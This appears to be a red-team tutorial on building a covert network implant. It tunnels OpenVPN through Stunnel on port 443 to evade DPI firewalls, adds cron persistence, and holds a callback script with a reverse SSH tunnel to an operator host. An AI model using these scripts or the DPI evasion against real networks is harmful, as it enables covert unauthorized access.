Why Do I Need an Implant?

Effectively breaching a network during a Red Team engagement can be challenging, leaving teams to find the most expedient method of bypassing the perimeter of the organization to gain an internal foothold on the network. The most efficient method with the highest probability of success is through implanting a hardware device within the physical perimeter of the target, establishing reliable C2 connectivity back to Red Team infrastructure.

The Hardware:

While there are several pre-built devices on the market that promise party tricks or an expensive price tag, I decided to build my own affordable hardware hacking implant. Focusing on the balance of speed, size, and I/O, I wanted to find a smaller device that was fast, had good thermals, and low power consumption. With a shortage of Raspberry Pis, I was unable to test my initial idea of turning the Pi into a USB gadget and tunneling my power, VPN, and SSH over the single USB micro-B cable. With this in mind, I decided on the AWOW Mini PC due to being small, quiet, having low power consumption, and dual NICs.

After receiving the device, the first and most logical step to building my budget implant was to wipe Windows 10 and replace it with a custom Kali Linux installation. I wanted to dedicate a majority of the resources on the implant to running processes, scans, and other needed services rather than a GUI, so I uninstalled the KDE desktop environment. If you are considering utilizing the desktop environment, I recommend LXDE, as it has comparatively low resource requirements. With my OS installed, OpenVPN and SSH enabled, and ethernet cable in hand, I set out to test the implant.

The Challenge:

After plugging my device into the network, firing up my OpenVPN server over TCP 443 to mimic HTTPS traffic, and longingly searching for the initialization sequence to complete, I realized that OpenVPN traffic does not look like pure SSL across the network. Who would have thought?

Then I put myself in the shoes of a firewall using Deep Packet Inspection (DPI), and I thought, "If I was a DPI firewall, and I saw OpenVPN traffic coming over 443 when I was expecting HTTPS, would I let it through? Heck no." So I set out to wrap the OpenVPN traffic with pure SSL, hoping to bypass the DPI firewall. Not to my surprise, people in countries who's governments shutdown external communications or restrict Netflix had already found a reliable solution for this problem. Utilizing Stunnel and OpenVPN, it is possible to tunnel OpenVPN traffic over TCP 443 using TLS to mimic an HTTPS connection!

In the image above, we create a client, also known as our Red Team implant, and a server, which is the Red Team infrastructure or VPS. Our client and server will pass our doubly-encrypted OpenVPN data over TCP 443 before unwrapping and unloading the packets to OpenVPN, which will be utilizing TCP 1194. OpenVPN, by default, utilizes UDP 1194, but after much testing, I found that UDP does not like to be encapsulated inside of Stunnel traffic and did not provide a reliable connection. I have provided a script to configure your Red Team callback server below:

Configuring Red Team Callback Server:

#!/bin/bash

# Script to Install Red Team Implant Server

Color_Off='\033[0m' 
Red='\033[0;31m'          
Green='\033[0;32m'

echo -e "${Green}Downloading OpenVPN Installation Script...\n${Color_Off}"

# Install OpenVPN Script
git clone https://github.com/angristan/openvpn-install > /dev/null 2>&1 && cd openvpn-install
chmod +x openvpn-install.sh
echo -e "${Green}Running OpenVPN Installation Script - Please use the default options provided along with a TCP connection...\n${Color_Off}"
sleep 5
./openvpn-install.sh

# Install and Configure Stunnel4
echo -e "${Green}Installing Stunnel4...\n${Color_Off}"
sudo apt install stunnel4 -y

sudo cat > /etc/stunnel/stunnel.conf << EOF
client = no
[openvpn_server]
accept = 443
connect = 127.0.0.1:1194
cert = /etc/stunnel/stunnel.pem
EOF

# Generate Stunnel4 Certificate
echo -e "${Green}Generating Stunnel4 Certificates...\n${Color_Off}"
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 1095
sudo cat key.pem cert.pem >> /etc/stunnel/stunnel.pem

# Enable on Startup
if [ $(grep "ENABLED" /etc/default/stunnel4 > /dev/null 2&>1; echo $?) -eq 0 ]; then
    sudo sed -i -e 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
else
    sed -i '1s/^/ENABLED=1\n/' /etc/default/stunnel4
fi
echo -e "${Green}Stunnel4 is enabled on startup...\n${Color_Off}"
sudo /etc/init.d/stunnel4 restart
echo -e "${Green}OpenVPN is enabled on startup...\n${Color_Off}"
sudo systemctl enable --now openvpn@server.service
echo -e "${Green}Installation is complete! Copy /etc/stunnel/stunnel.pem to client...\n${Color_Off}"

The script downloads a well known and maintained OpenVPN installation script for the server, which generates our configuration files, certificates, and other needed components. When you run this script, ensure that the server is utilizing TCP 1194 for communications, but all other options can be left as default. After installing OpenVPN, the script installs Stunnel, which will wrap our connection in SSL. Take note of where /etc/stunnel/stunnel.pem is located, as it will be transferred to the Red Team implant for encryption negotiation with the server. The script also enables Stunnel and OpenVPN, completing the configuration of our server. Ensure that the OpenVPN client configuration and Stunnel x.509 certificate is transferred to the Red Team implant. Now, we will configure the Red Team implant, which I have provided a script to assist with below:

Configuring Red Team Implant:

#!/bin/bash

# Script to Install Red Team Implant Client

Color_Off='\033[0m' 
Red='\033[0;31m'          
Green='\033[0;32m'

# Install Stunnel4
echo -e "${Green}\nInstalling Stunnel4...\n${Color_Off}"
sudo apt install stunnel4 -y

read -p "Input OpenVPN Server IP Address: " openvpn_ip

# Create Stunnel4 Configuration 
sudo cat > /etc/stunnel/stunnel.conf << EOF
[openvpn_client]
accept = 127.0.0.1:443
connect = $openvpn_ip:443
cert = /etc/stunnel/stunnel.pem
client = yes
EOF

# Configure Stunnel4 Certificate
echo -e "Input /etc/stunnel/stunnel.pem contents: " 
sudo vim /etc/stunnel/stunnel.pem

# Start Services
sudo /etc/init.d/stunnel4 restart
echo -e "${Green}Stunnel4 is enabled on startup...\n${Color_Off}"
echo -e "${Green}Add --- ${openvpn_ip} 443 --- to OpenVPN Client File and Start OpenVPN\n${Color_Off}"

The client script installs Stunnel, creates a configuration file for establishing connections between the Red Team server and our implant, and starts the necessary services for communications. Ensure that the x.509 certificate that was transferred from the server is in the referenced location, and before firing up the OpenVPN configuration file, change the server's IP address to the loopback address of 127.0.0.1, and the TCP port of 1194 to 443. This is due to passing the OpenVPN traffic between our local Stunnel connection. With the Red Team server and implant configured, we can fire up our OpenVPN connection for testing.

The Callback Script:

#!/bin/bash
#
# Script for Initiating Callback to Red Teamer
# To start on boot, sudo crontab -e then add the following line:
# @reboot /home/kali/callback.sh

# Variables
RED="\e[31m"
GREEN="\e[32m"
ENDCOLOR="\e[0m"

# Create OpenVPN Tunnel
echo -e "${GREEN}\nInitiating OpenVPN connection...\n${ENDCOLOR}"

if [ $(sudo openvpn --config client1.ovpn --connect-retry-max 10 > /dev/null 2>&1; echo $?) -eq 0 ]; then
 echo -e "${GREEN}\nOpenVPN connection established...${ENDCOLOR}"
 # Print VPN IP Address
 ip=$(ip -brief a show tun0 | awk '{print $3}')
 echo -e "${GREEN}OpenVPN IP Address: $ip${ENDCOLOR}"
else
 echo -e "${RED}\nOpenVPN connection not established... Reverting to SSH${ENDCOLOR}"
 # Create Reverse SSH Connection
 sudo systemctl enable --now sshd
 ssh -f -N -T -R 2222:localhost:22 mike@10.0.0.27
fi

Now that we have an established connection between our server and implant, how can we automate this process? What if we socially engineered our access by plugging in on site, or better yet, shipped this device to the customer to plug in? We can utilize a simple cronjob at reboot to ensure access! The script above attempts to initialize an OpenVPN connection using our generated configuration ten times before failing over to an SSH reverse tunnel. Whenever the implant is connected and powered on, it will try to reach out to our server now!

In Conclusion:

Effectively breaching a network during a sophisticated Red Team operation can be challenging, but utilizing an affordable hardware platform and open source software can produce results, highlighting notable findings to the customer. If you enjoyed this article, check out more of my work on my GitHub! Happy Hacking!